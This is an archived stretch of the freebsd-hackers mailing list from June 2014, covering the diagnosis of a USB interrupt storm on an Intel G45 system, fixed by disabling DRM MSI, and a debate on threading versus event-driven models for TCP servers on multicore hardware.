> > > > > > _______________________________________________ > > > > > > freebsd-hackers@freebsd.org mailing list > > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > > > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@f= reebsd.org" > > > > > >=20 > > > > >=20 > > > > > You're right, it is not persistent. I changed to each different = event > > > > > timer and the only one that made a difference was the i8254; that > > > > > dropped the cpu load from 30% to 10-12%. Much better, but still = of > > > > > course not acceptable for a Core II-Duo running at 3.0GHz. The l= oad > > > > > averages shown in do also drop proportionally. Interesting= ly, > > > > > though, shows the same interrupt rate - 325K/sec. > > > > >=20 > > > > > What do you make of the fact that when I suspend with < > > > > > and then wake-up, everything is absolutely normal, regardless of = event > > > > > timer type? > > > >=20 > > > > You did not shown _useful_ output of vmstat -i. Do it when the sto= rm > > > > occurs. Also, show the pciconf -lvc output on the machine. > > > >=20 > > >=20 > > > Sorry - I was entering that output by hand, so truncated what I thoug= ht was not useful. =20 > > > In addition, the storm is always occurring, unless I put the machine = to sleep and then wake-up. > > >=20 > > > Here is the full vmstat -i: > > >=20 > > > dutch:~:# vmstat -i > > > interrupt total rate > > > irq1: atkbd0 48 0 > > > irq0: attimer0 12236927 1178 > > > irq8: atrtc0 146537 14 > > > irq16: uhci0 3362560857 323946 > > > irq18: atapci0+ 19828 1 > > > irq23: uhci3 ehci1 2 0 > > > cpu0:timer 163301 15 > > > irq256: hpet0:t0 4516011 435 > > > irq257: hpet0:t1 83960 8 > > > irq264: em0 31799 3 > > > irq265: hdac0 95 0 > > > irq266: ahci0:ch0 8423 0 > > > irq267: ahci0:ch1 15620 1 > > > cpu1:timer 1229 0 > > > irq274: vgapci0 10041 0 > > > Total 3379794678 325606 > > > dutch:~:# > > >=20 > > > And here is pciconf -lvc: > > >=20 > > > dutch:~:# pciconf -lvc > > > hostb0@pci0:0:0:0: class=3D0x060000 card=3D0x04201028 chip=3D0x2e1080= 86 rev=3D0x03 hdr=3D0x00 > > > vendor =3D 'Intel Corporation' > > > device =3D '4 Series Chipset DRAM Controller' > > > class =3D bridge > > > subclass =3D HOST-PCI > > > cap 09[e0] =3D vendor (length 12) Intel cap 6 version 1 > > > pcib1@pci0:0:1:0: class=3D0x060400 card=3D0x04201028 chip=3D0x2e11808= 6 rev=3D0x03 hdr=3D0x01 > > > vendor =3D 'Intel Corporation' > > > device =3D '4 Series Chipset PCI Express Root Port' > > > class =3D bridge > > > subclass =3D PCI-PCI > > > cap 0d[88] =3D PCI Bridge card=3D0x04201028 > > > cap 01[80] =3D powerspec 3 supports D0 D3 current D0 > > > cap 05[90] =3D MSI supports 1 message=20 > > > cap 10[a0] =3D PCI-Express 2 root port slot max data 128(128) lin= k x0(x16) > > > speed 0.0(5.0) ASPM disabled(L0s) > > > ecap 0002[100] =3D VC 1 max VC0 > > > ecap 0005[140] =3D Root Complex Link Declaration 1 > > > vgapci0@pci0:0:2:0: class=3D0x030000 card=3D0x04201028 chip=3D0x2e128= 086 rev=3D0x03 hdr=3D0x00 > > > vendor =3D 'Intel Corporation' > > > device =3D '4 Series Chipset Integrated Graphics Controller' > > > class =3D display > > > subclass =3D VGA > > > cap 05[90] =3D MSI supports 1 message enabled with 1 message > > > cap 01[d0] =3D powerspec 2 supports D0 D3 current D0 > >=20 > > Try to set the tunable hw.drm.msi to 0 before i915 driver is loaded. > > I.e. the easiest is to set it at loader prompt. If you load driver > > by starting Xorg, then kenv hw.drm.msi=3D0 would be enough. > >=20 > > Either way, helped it or not, post the vmstat -i output while the Xorg > > is running. > >=20 >=20 > BEAUTIFUL!! Knocked the uhci interrupts to normal. Here is the >vmstat = -i> > with X running and hw.drm.msi=3D0 set: >=20 > dutch@dutch:~ % vmstat -i > interrupt total rate > irq1: atkbd0 48 0 > irq16: uhci0+ 167 1 > irq18: atapci0+ 344 3 > irq23: uhci3 ehci1 2 0 > irq256: hpet0:t0 10675 111 > irq257: hpet0:t1 5897 61 > irq264: em0 341 3 > irq265: hdac0 95 0 > irq266: ahci0:ch0 4274 44 > irq267: ahci0:ch1 155 1 > Total 21998 229 > dutch@dutch:~ % >=20 > HPETs are a little high, but overall 1000% better. I have added > to my /boot/loader.conf. Why do you think that HPET is 'a little high' ? It is down from the hz, which is probably 1024 on your machine, so it is a little low. Still, I do not believe that the above vmstat -i is from the running Xorg session. What interrupt i915 gfx uses, it probably shared on irq16 ? If so, it cannot be total 167 interrupts for the started X session, even if dumbed down to X running a single xterm. >=20 > I see where this was discussed back in the 7.2R release notes, but > I would have never found it. Many thanks for your help. There is some unpublished errata for G45/GM45 chipsets where display interrupts are reported by legacy method even if the MSI is enabled. I think it is somehow related to the motherboard or BIOS layout since the situation is very rare. --asVK9fW/mNnnZXE9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTk2v2AAoJEJDCuSvBvK1BeN0P+gMcH9xG/LYV6s3DsPJcVtJo L8mayS7VZdNrcyp7Cqykpxraz7NTjJc1KAiyInz2pM8XPimEsvyNx2rHd42+UqVk XjnUPVS9HheUlwCqRahOtFlOcyfEGLjx2oKMnLYHmtmhmUl/Jxjlg0BiOVTAoxrz ZU55FG0QXGaakh+Svs1CoqIg1EsJ58qD7+eJcPDnEDJU255ppQgHKBvaHlvWj2J0 yYN+gaKaNlD2Wf0hE801Pdoxa2oiOUMvHVFRF8VtdJCJLDhdbyDpoPnufeZ56dQM 40d7pXqpBeGpEnF/7LpADFnuT6gwqbii65K7U3QO8yHHbiCUMepPwoL6h2JQ9vSt uuXaYLFIvMrTmgB4tNnySH13Kg8zDnfto/cB2b4xa8edLPbGbUPHVtc6WtDsyQkY xVkygs1DY6GFGY6MXZfO75yPRtN0jfiz+opQskQnzVaFSNXujfTXmiIz3PS0xrd1 XlYTX6DmhvltijjDPO6HoTzZnFftgpr5nrjBg/uucguGJ5N18dTLrY2t1dIjXvT6 o8lVQJZuZMkHGX1AMaCCa6LPqS/e4arqRCwOY8I1sKYi0qZ3IeC5FaIXoZGQXour OaW09/H5da5wetsSelI48CYA4+z8pVn21PYSmoa89sdiyEpe1vRYravaG0cgktH1 RYpZ0/T7UKzrWFuJPvcS =EnO/ -----END PGP SIGNATURE----- --asVK9fW/mNnnZXE9-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:18:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3CF21948; Sat, 7 Jun 2014 20:18:55 +0000 (UTC) Received: from mail-qa0-x22a.google.com (mail-qa0-x22a.google.com [IPv6:2607:f8b0:400d:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D9A142E32; Sat, 7 Jun 2014 20:18:54 +0000 (UTC) Received: by mail-qa0-f42.google.com with SMTP id j5so6241388qaq.1 for ; Sat, 07 Jun 2014 13:18:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Q51wsdUdT7V0f3pU1bLYf2Dr1vRPtAzIWtXRjQs7bio=; b=0oDhkEHm2cURflhNfZg4zOB+RPZ0QvX2T8k2KdE4FvwhAITMbzum7KiXEcSGEThXh6 i2qIlimDQ95ZrUmOr/ljiV/jv9A6Q+ZCcBJu4eebLaxm8/ic8ixtkTYFbN6XibBUnL1k VpBoLZNGRAHEsZL7NKg7bQuPDabCmIx51RE68B6QF1y/RDL1p7kei/2/JfpKdgEKyZFT bKVkiRvIfXT2516q7uuSeRgX6YC8JFrdjiAvcs3Kt7vP0P6e90q+awJIyLjhlolewU3J SmmobtxagRbZPce7FOunZE7TgoFexl8iETzu9fUDEqkXYIOF8leoR5HA1FxDjP0inadz 5dWw== MIME-Version: 1.0 X-Received: by 10.140.91.5 with SMTP id y5mr19493940qgd.12.1402172333925; Sat, 07 Jun 2014 13:18:53 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sat, 7 Jun 2014 13:18:53 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> Date: Sat, 7 Jun 2014 16:18:53 -0400 X-Google-Sender-Auth: h9TH_fUYcl4z7liU58z5S0NQZp8 Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Igor Mozolevsky Content-Type: text/plain; charset=UTF-8 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:18:55 -0000 > Not quite - the gist (and the point) of that slide with Rob's story was that > by the time Rob wrote something that could comprehensively deal with states > in an even-driven server, he ended up essentially re-inventing the wheel. I read the same slides you did. He didn't reinvent the wheel - threads are a different concept - at any point the state can change and you switch to a new thread. Event driven, asynchronous programming isn't quite like that. > The undeniable truth of the current state of CPU architecture is that while > the GHz remains the same (and in a lot of cases is actually going down), the > number of cores is on the increase, so it makes little sense to have a > server that doesn't take full advantage of all available resources. Agreed. > Paul Tyma's presentation posted earlier did conclude with various models for > different types of daemons, which the OP might find at least interesting. Agreed, but again - it's all java, it's all linux, and it's 2008. > >> We can do better. > > > > > Quite likely- but the OP was asking what the current state is, and not what > could happen X years down the line. The current state is that threads and thread context switching are more expensive than you'd like. You really want to (a) avoid locking at all, (b) keep the CPU hot with cached data, and (c) keep it from changing contexts. It's cool man, I'm actually hacking on this shit to push things forward. For fun. Because hey, if noone is going to pay me to do it for real, I may as well get some pleasure out of it. -a From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:30:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0E6B6C5F for ; Sat, 7 Jun 2014 20:30:56 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C6AD62F19 for ; Sat, 7 Jun 2014 20:30:55 +0000 (UTC) Received: from [172.15.184.248] by 3capp-mailcom-lxa03 with HTTP; Sat, 7 Jun 2014 22:30:53 +0200 MIME-Version: 1.0 Message-ID: From: "Dutch Ingraham" To: "Konstantin Belousov" Subject: Re: [SOLVED] Re: Fwd: Interrupt Overload Content-Type: text/plain; charset=UTF-8 Date: Sat, 7 Jun 2014 22:30:53 +0200 Importance: normal Sensitivity: Normal In-Reply-To: <20140607194559.GT3991@kib.kiev.ua> References: <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> <20140607175752.GP3991@kib.kiev.ua> <20140607184126.GQ3991@kib.kiev.ua> , <20140607194559.GT3991@kib.kiev.ua> X-UI-Message-Type: mail X-Priority: 3 X-Provags-ID: V03:K0:C6iOzkZOQy3nXOzAWHOU0a1IRxXSKbjPmMoqYsprBl3 rbyJejZC8kP5klgNXDYBMlb/NreoThWiX0dlfYAiqeiZr11HTy VMAEXVwxqCjLP1lYVocvh6A2CPRRU/KXKR3q8N9LJy51HnLTyx Vit0ir+nuJXoomlnzZi4heoMv9PVg4O2Fqtelo8Ahf8gxMej+k NLFJZM5fHVjMKnv+CYPIy8yjODDpFWjH6v8mgmr4pHFsaVdXnO +aUGwtQSl/RJkovIX6sD/u9/lQajs0EugrdQEVf2M5k6nn35vG 7dRNyn6uGDvwcfaTrRQXheXsU0F Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:30:56 -0000 > Sent: Saturday, June 07, 2014 at 3:45 PM > From: "Konstantin Belousov" > To: "Dutch Ingraham" > Cc: freebsd-hackers@freebsd.org > Subject: Re: [SOLVED] Re: Fwd: Interrupt Overload > > On Sat, Jun 07, 2014 at 09:33:40PM +0200, Dutch Ingraham wrote: > > > > > > > Sent: Saturday, June 07, 2014 at 2:41 PM > > > From: "Konstantin Belousov" > > > To: "Dutch Ingraham" > > > Cc: freebsd-hackers@freebsd.org > > > Subject: Re: Fwd: Interrupt Overload > > > > > > On Sat, Jun 07, 2014 at 08:21:08PM +0200, Dutch Ingraham wrote: > > > > > > > > > > > > > Sent: Saturday, June 07, 2014 at 1:57 PM > > > > > From: "Konstantin Belousov" > > > > > To: "Dutch Ingraham" > > > > > Cc: freebsd-hackers@freebsd.org > > > > > Subject: Re: Fwd: Interrupt Overload > > > > > > > > > > On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > > > > > > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > > > > > > > > > > > > > > > > > > > > > > > > > > --- Original message --- > > > > > > > From: "Dutch Ingraham" > > > > > > > Date: 7 June 2014, 18:33:12 > > > > > > > > > > > > > > > > > > > > >> > > > > > > >> Thanks for the response. > > > > > > >> > > > > > > >> The output you requested: > > > > > > >> > > > > > > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > > > > > > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > > > > > >> > > > > > > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > > > > > >> > > > > > > >> I also changed the type of timer to LAPIC and rebooted; there was no > > > > > > >> appreciable change in the interrupt activity. > > > > > > > > > > > > > > After reboot what became timer? :) > > > > > > > > > > > > > > You can change the timer "on the fly", without rebooting the system. > > > > > > > > > > > > > > If LAPIC does not help, then try other timers. > > > > > > > > > > > > > > > > > > > > > -- > > > > > > > Vladislav V. Prodan > > > > > > > System & Network Administrator > > > > > > > support.od.ua > > > > > > > > > > > > > > _______________________________________________ > > > > > > > freebsd-hackers@freebsd.org mailing list > > > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > > > > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > > > > > > > > > > > > > > > > > You're right, it is not persistent. I changed to each different event > > > > > > timer and the only one that made a difference was the i8254; that > > > > > > dropped the cpu load from 30% to 10-12%. Much better, but still of > > > > > > course not acceptable for a Core II-Duo running at 3.0GHz. The load > > > > > > averages shown in do also drop proportionally. Interestingly, > > > > > > though, shows the same interrupt rate - 325K/sec. > > > > > > > > > > > > What do you make of the fact that when I suspend with < > > > > > > and then wake-up, everything is absolutely normal, regardless of event > > > > > > timer type? > > > > > > > > > > You did not shown _useful_ output of vmstat -i. Do it when the storm > > > > > occurs. Also, show the pciconf -lvc output on the machine. > > > > > > > > > > > > > Sorry - I was entering that output by hand, so truncated what I thought was not useful. > > > > In addition, the storm is always occurring, unless I put the machine to sleep and then wake-up. > > > > > > > > Here is the full vmstat -i: > > > > > > > > dutch:~:# vmstat -i > > > > interrupt total rate > > > > irq1: atkbd0 48 0 > > > > irq0: attimer0 12236927 1178 > > > > irq8: atrtc0 146537 14 > > > > irq16: uhci0 3362560857 323946 > > > > irq18: atapci0+ 19828 1 > > > > irq23: uhci3 ehci1 2 0 > > > > cpu0:timer 163301 15 > > > > irq256: hpet0:t0 4516011 435 > > > > irq257: hpet0:t1 83960 8 > > > > irq264: em0 31799 3 > > > > irq265: hdac0 95 0 > > > > irq266: ahci0:ch0 8423 0 > > > > irq267: ahci0:ch1 15620 1 > > > > cpu1:timer 1229 0 > > > > irq274: vgapci0 10041 0 > > > > Total 3379794678 325606 > > > > dutch:~:# > > > > > > > > And here is pciconf -lvc: > > > > > > > > dutch:~:# pciconf -lvc > > > > hostb0@pci0:0:0:0: class=0x060000 card=0x04201028 chip=0x2e108086 rev=0x03 hdr=0x00 > > > > vendor = 'Intel Corporation' > > > > device = '4 Series Chipset DRAM Controller' > > > > class = bridge > > > > subclass = HOST-PCI > > > > cap 09[e0] = vendor (length 12) Intel cap 6 version 1 > > > > pcib1@pci0:0:1:0: class=0x060400 card=0x04201028 chip=0x2e118086 rev=0x03 hdr=0x01 > > > > vendor = 'Intel Corporation' > > > > device = '4 Series Chipset PCI Express Root Port' > > > > class = bridge > > > > subclass = PCI-PCI > > > > cap 0d[88] = PCI Bridge card=0x04201028 > > > > cap 01[80] = powerspec 3 supports D0 D3 current D0 > > > > cap 05[90] = MSI supports 1 message > > > > cap 10[a0] = PCI-Express 2 root port slot max data 128(128) link x0(x16) > > > > speed 0.0(5.0) ASPM disabled(L0s) > > > > ecap 0002[100] = VC 1 max VC0 > > > > ecap 0005[140] = Root Complex Link Declaration 1 > > > > vgapci0@pci0:0:2:0: class=0x030000 card=0x04201028 chip=0x2e128086 rev=0x03 hdr=0x00 > > > > vendor = 'Intel Corporation' > > > > device = '4 Series Chipset Integrated Graphics Controller' > > > > class = display > > > > subclass = VGA > > > > cap 05[90] = MSI supports 1 message enabled with 1 message > > > > cap 01[d0] = powerspec 2 supports D0 D3 current D0 > > > > > > Try to set the tunable hw.drm.msi to 0 before i915 driver is loaded. > > > I.e. the easiest is to set it at loader prompt. If you load driver > > > by starting Xorg, then kenv hw.drm.msi=0 would be enough. > > > > > > Either way, helped it or not, post the vmstat -i output while the Xorg > > > is running. > > > > > > > BEAUTIFUL!! Knocked the uhci interrupts to normal. Here is the >vmstat -i> > > with X running and hw.drm.msi=0 set: > > > > dutch@dutch:~ % vmstat -i > > interrupt total rate > > irq1: atkbd0 48 0 > > irq16: uhci0+ 167 1 > > irq18: atapci0+ 344 3 > > irq23: uhci3 ehci1 2 0 > > irq256: hpet0:t0 10675 111 > > irq257: hpet0:t1 5897 61 > > irq264: em0 341 3 > > irq265: hdac0 95 0 > > irq266: ahci0:ch0 4274 44 > > irq267: ahci0:ch1 155 1 > > Total 21998 229 > > dutch@dutch:~ % > > > > HPETs are a little high, but overall 1000% better. I have added > > to my /boot/loader.conf. > Why do you think that HPET is 'a little high' ? It is down from the hz, > which is probably 1024 on your machine, so it is a little low. > > Still, I do not believe that the above vmstat -i is from the running > Xorg session. What interrupt i915 gfx uses, it probably shared on irq16 ? > If so, it cannot be total 167 interrupts for the started X session, > even if dumbed down to X running a single xterm. > > > > > I see where this was discussed back in the 7.2R release notes, but > > I would have never found it. Many thanks for your help. > > There is some unpublished errata for G45/GM45 chipsets where display > interrupts are reported by legacy method even if the MSI is enabled. > I think it is somehow related to the motherboard or BIOS layout since > the situation is very rare. > Well, whether you believe me or not, it is from a running xorg session. Why would I misrepresent that? I was looking for a solution, and you provided one. I have also changed the HPET eventtimer to the i8254. The current output is: dutch@dutch:~ % vmstat -i interrupt total rate irq1: atkbd0 72 0 irq0: attimer0 5067235 1340 irq16: uhci0+ 3260 0 irq18: atapci0+ 23352 6 irq23: uhci3 ehci1 2 0 irq256: hpet0:t0 68495 18 irq257: hpet0:t1 36566 9 irq264: em0 17318 4 irq265: hdac0 95 0 irq266: ahci0:ch0 10083 2 irq267: ahci0:ch1 5684 1 Total 5232162 1383 dutch@dutch:~ % and current output is: last pid: 1643; load averages: 0.02, 0.02, 0.00 up 0+01:07:33 16:29:39 47 processes: 1 running, 46 sleeping CPU: 0.0% user, 0.0% nice, 0.2% system, 0.0% interrupt, 99.8% idle Mem: 224M Active, 116M Inact, 277M Wired, 704K Cache, 79M Buf, 7156M Free Swap: 4096M Total, 4096M Free From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:38:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3C562E44; Sat, 7 Jun 2014 20:38:22 +0000 (UTC) Received: from mail-qa0-x22d.google.com (mail-qa0-x22d.google.com [IPv6:2607:f8b0:400d:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C59FD2FB9; Sat, 7 Jun 2014 20:38:21 +0000 (UTC) Received: by mail-qa0-f45.google.com with SMTP id hw13so6148380qab.18 for ; Sat, 07 Jun 2014 13:38:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=lQum4Vm/qYIKhvKZDU6ldcIqEnXGUngo0FBsgnc5UB4=; b=zVVy9+i+7EIdAa4SIOhD136r15I/U6s+LUjSq4mrVL9S79anDKgBMSXfLyXdqxvtF9 8ckmoh43f+uLMZtSDtYpCc18ApBcROnVJ3QI3sQ1IF3MY84De7Ni067OV/TTu6FZ4QcE UM4TYVQhS7eZiNA0qepWeJXUcS+L545ApQsAV2LR0QgZe4/cO5kq4+Si1vNJVjQTv2DP WJDBazr9mXP+BvTMBq+Y+X3m3N+6gfs9ItU/JN9uXz0ugrGe7i7Wd6reoHzQOjmzKVjk m9V4UySKD5VSW0Ek94jsB1dnLaokzg1HLqImMGzgVh9lm5CW3IcQvmEwmDMvU/g5v08h ycaQ== X-Received: by 10.140.49.171 with SMTP id q40mr19716821qga.7.1402173500869; Sat, 07 Jun 2014 13:38:20 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Sat, 7 Jun 2014 13:37:40 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> From: Igor Mozolevsky Date: Sat, 7 Jun 2014 21:37:40 +0100 X-Google-Sender-Auth: r_N6XmYfv66zcxB2VZ18zchzNUg Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:38:22 -0000 On 7 June 2014 21:18, Adrian Chadd wrote: > > Not quite - the gist (and the point) of that slide with Rob's story was > that > > by the time Rob wrote something that could comprehensively deal with > states > > in an even-driven server, he ended up essentially re-inventing the wheel. > > I read the same slides you did. He didn't reinvent the wheel - threads > are a different concept - at any point the state can change and you > switch to a new thread. Event driven, asynchronous programming isn't > quite like that. > Not quite- unless you're dealing with stateless HTTP, you still need to know what the "current" state of the "current" connection is, which is the point of that slide. > Paul Tyma's presentation posted earlier did conclude with various models > for > > different types of daemons, which the OP might find at least interesting. > > Agreed, but again - it's all java, it's all linux, and it's 2008. Agreed, but threading models are platform-agnostic. The current state is that threads and thread context switching are > more expensive than you'd like. You really want to (a) avoid locking > at all, (b) keep the CPU hot with cached data, and (c) keep it from > changing contexts. > Agreed, but uncontested locking should be virtually cost-free (or close to that), modern CPUs have plenty of L2/L3 cache to keep enough data nearby, and there are plenty of cores to keep cycling in the same thread-loop, and hyper-threading helps with ctx switching (or at least is supposed to). In any event, shuttling data between RAM and cache (especially with the on-die RAM controllers, and even if data has to go through QPI/HyperT), and the cost of changing contexts is tiny compared to that of disk and network IO. It's cool man, I'm actually hacking on this shit to push things > forward. For fun. Because hey, if noone is going to pay me to do it > for real, I may as well get some pleasure out of it. All I can do is to thank you for that, and I hope others join me in doing so! -- Igor M. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:45:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89D7626F; Sat, 7 Jun 2014 20:45:05 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 311042096; Sat, 7 Jun 2014 20:45:05 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id j7so6079874qaq.17 for ; Sat, 07 Jun 2014 13:45:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=TGnHrbEvxhHPsvTTC+ZzTp24UxmdScSGHPtR5H0pKic=; b=uWR3uMEtpH5Wdmsj9GS0vK9J/f0B4jbYCEh+mepe7o8nD07t5UZiR/sBoRzHUD7jt5 VWQ6OfKa9sHh60Et8P0oMKLY++TH9x8N886Kw4DqRULTefmtPyAZv3KfnIeFDtCZ+SCU 0wx8T7VmpTWxpVt1PdOn7jYnzyOrvbUFVnCOVHhZ8nXLYJKW6ERfO0oeKRHEZjrz24BT jKjU8N7h06lmaGo+tmC1lbwYiQrYQPs7WqSf0x70V1Y24dJ0IDPUR32FiQJ8QBtDYmiY G7FJsH7qK5QGcP8ygLLflGagSZjBdFtPFtuP4ugsDJbTgT+rqtD1j4pzcJA7tlU/kpVa Dk5A== MIME-Version: 1.0 X-Received: by 10.140.22.209 with SMTP id 75mr19416044qgn.4.1402173904358; Sat, 07 Jun 2014 13:45:04 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sat, 7 Jun 2014 13:45:04 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> Date: Sat, 7 Jun 2014 16:45:04 -0400 X-Google-Sender-Auth: HqfR3Kc7yTQsCK_Jyk7-3Z8SRV0 Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Igor Mozolevsky Content-Type: text/plain; charset=UTF-8 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:45:05 -0000 On 7 June 2014 16:37, Igor Mozolevsky wrote: > > > > On 7 June 2014 21:18, Adrian Chadd wrote: >> >> > Not quite - the gist (and the point) of that slide with Rob's story was >> > that >> > by the time Rob wrote something that could comprehensively deal with >> > states >> > in an even-driven server, he ended up essentially re-inventing the >> > wheel. >> >> I read the same slides you did. He didn't reinvent the wheel - threads >> are a different concept - at any point the state can change and you >> switch to a new thread. Event driven, asynchronous programming isn't >> quite like that. > > > Not quite- unless you're dealing with stateless HTTP, you still need to know > what the "current" state of the "current" connection is, which is the point > of that slide. > > >> > Paul Tyma's presentation posted earlier did conclude with various models >> > for >> > different types of daemons, which the OP might find at least >> > interesting. >> >> Agreed, but again - it's all java, it's all linux, and it's 2008. > > > Agreed, but threading models are platform-agnostic. > > >> The current state is that threads and thread context switching are >> more expensive than you'd like. You really want to (a) avoid locking >> at all, (b) keep the CPU hot with cached data, and (c) keep it from >> changing contexts. > > > Agreed, but uncontested locking should be virtually cost-free (or close to > that), modern CPUs have plenty of L2/L3 cache to keep enough data nearby, > and there are plenty of cores to keep cycling in the same thread-loop, and > hyper-threading helps with ctx switching (or at least is supposed to). In > any event, shuttling data between RAM and cache (especially with the on-die > RAM controllers, and even if data has to go through QPI/HyperT), and the > cost of changing contexts is tiny compared to that of disk and network IO. I was doing 40gbit/sec testing over 2^16 connections (and was hoping to get the chance to optimise this stuff to get to 2^17 active streaming connections, but I ran out of CPU.) If you're not careful about keeping work on a local CPU, you end up blowing your caches and hitting lock contention pretty quickly. And QPI isn't free. There's a cost going backwards and forwards with packet data and cache lines for uncontested data. I'm not going to worry about QPI and socket awareness just for now - that's a bigger problem to solve. I'll first worry about getting RSS working for a single socket setup and then convert a couple of drivers over to be RSS aware. I'll then worry about multiple socket awareness and being aware of whether a NIC is local to a socket. I'm hoping that with this work and the Verisign TCP locking changes, we'll be able to handle 40gig bulk data on single socket Sandy Bridge Xeon hardware and/or > 100,000 TCP sessions a second with plenty of CPU to spare. Then it's getting to 80 gig on Ivy bridge class single-socket hardware. I'm hoping we can aim for much higher (million + transactions a second) on the current generation hardware but that requires a bunch more locking work. And well, whatever hardware I can play with. All I have at home is a 4-core ivy bridge desktop box with igb(4). :-P -a From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 17:12:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 